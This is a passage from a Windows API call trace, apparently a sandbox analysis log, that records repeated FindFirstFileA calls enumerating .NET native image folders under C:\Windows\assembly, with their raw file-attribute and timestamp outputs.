nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.801] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb2e400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb2e400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.810] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb2e400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb2e400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.817] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb54560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb54560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.824] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb54560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb54560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.831] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb54560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb54560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.839] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb7a6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb7a6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.846] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb7a6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb7a6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.853] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbba0820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbba0820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.859] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbba0820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbba0820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.870] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbbc6980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbbc6980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.877] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbbc6980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbbc6980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.884] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xbbecae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbbecae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.892] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xbbecae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbbecae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.900] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbc12c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbc12c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.907] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbc12c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbc12c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.913] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbc38da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbc38da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.920] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19970401, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbc38da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbc38da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.927] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19e3300a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbc5ef00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbc5ef00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.936] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19415277, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbc5ef00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbc5ef00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.943] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18eba0ed, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbc85060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbc85060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.950] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbc85060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbc85060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.958] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbcab1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbcab1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.965] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbcab1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbcab1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.972] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbcab1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbcab1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.978] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbcd1320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbcd1320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.985] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbcd1320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbcd1320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.992] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbcf7480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbcf7480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.000] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbcf7480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbcf7480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.007] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbd1d5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbd1d5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.014] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1ee60a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbd1d5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbd1d5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.021] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c21476b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbd43740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbd43740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.030] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbd43740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbd43740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.037] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbd698a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbd698a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.045] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xbd698a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbd698a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.053] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xbd8fa00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbd8fa00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.060] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b351e76, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbd8fa00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbd8fa00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.067] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b377fd6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbdb5b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbdb5b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.074] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xbdb5b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbdb5b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.081] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xbdb5b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbdb5b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.089] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbddbcc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbddbcc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.096] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbddbcc0, 